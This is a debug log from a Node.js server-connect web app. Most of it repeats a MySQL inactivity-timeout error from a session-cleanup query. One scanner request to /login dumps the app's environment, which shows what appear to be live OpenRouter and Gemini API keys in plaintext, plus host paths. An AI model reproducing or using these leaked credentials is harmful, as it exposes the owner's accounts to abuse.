    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 09:33:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 12:03:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 12:03:11' as DATETIME)"
}
2026-03-13T13:10:29.794Z server-connect:router Serving templateView /
2026-03-13T13:10:29.795Z server-connect:app Executing action step identify
2026-03-13T13:10:29.795Z server-connect:app options: { provider: 'security' }
2026-03-13T13:10:29.796Z server-connect:auth No login cookie found
2026-03-13T13:10:29.796Z server-connect:output identity: false
2026-03-13T13:10:29.796Z server-connect:app Executing action step restrict
2026-03-13T13:10:29.796Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T13:10:29.796Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 13:12:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 13:12:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 14:36:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 14:36:13' as DATETIME)"
}
2026-03-13T23:05:29.715Z server-connect:router Serving templateView /
2026-03-13T23:05:29.716Z server-connect:app Executing action step identify
2026-03-13T23:05:29.716Z server-connect:app options: { provider: 'security' }
2026-03-13T23:05:29.717Z server-connect:auth No login cookie found
2026-03-13T23:05:29.717Z server-connect:output identity: false
2026-03-13T23:05:29.717Z server-connect:app Executing action step restrict
2026-03-13T23:05:29.717Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T23:05:29.717Z server-connect:output restrict: undefined
2026-03-13T23:05:30.404Z server-connect:router Serving templateView /login
2026-03-13T23:05:30.404Z server-connect:app Executing action step identify
2026-03-13T23:05:30.404Z server-connect:app options: { provider: 'security' }
2026-03-13T23:05:30.404Z server-connect:auth No login cookie found
2026-03-13T23:05:30.404Z server-connect:output identity: false
2026-03-13T23:05:30.405Z server-connect:router Render template layouts/authentication
2026-03-13T23:05:30.405Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.55',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T23:05:30.404Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.55',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.55',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-13T23:06:55.902Z server-connect:router Serving templateView /
2026-03-13T23:06:55.903Z server-connect:app Executing action step identify
2026-03-13T23:06:55.903Z server-connect:app options: { provider: 'security' }
2026-03-13T23:06:55.903Z server-connect:auth No login cookie found
2026-03-13T23:06:55.903Z server-connect:output identity: false
2026-03-13T23:06:55.903Z server-connect:app Executing action step restrict
2026-03-13T23:06:55.903Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T23:06:55.903Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 07:39:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 07:39:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 15:57:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 15:57:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 16:09:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 16:09:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 18:22:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 18:22:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 20:02:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 20:02:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 22:04:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 22:04:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 22:55:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 22:55:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 23:19:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 23:19:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-14 23:42:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-14 23:42:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 01:05:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 01:05:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 01:31:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 01:31:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 06:34:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 06:34:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 07:15:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 07:15:18' as DATETIME)"
}
2026-03-15T09:20:33.907Z server-connect:router Serving templateView /
2026-03-15T09:20:33.908Z server-connect:app Executing action step identify
2026-03-15T09:20:33.908Z server-connect:app options: { provider: 'security' }
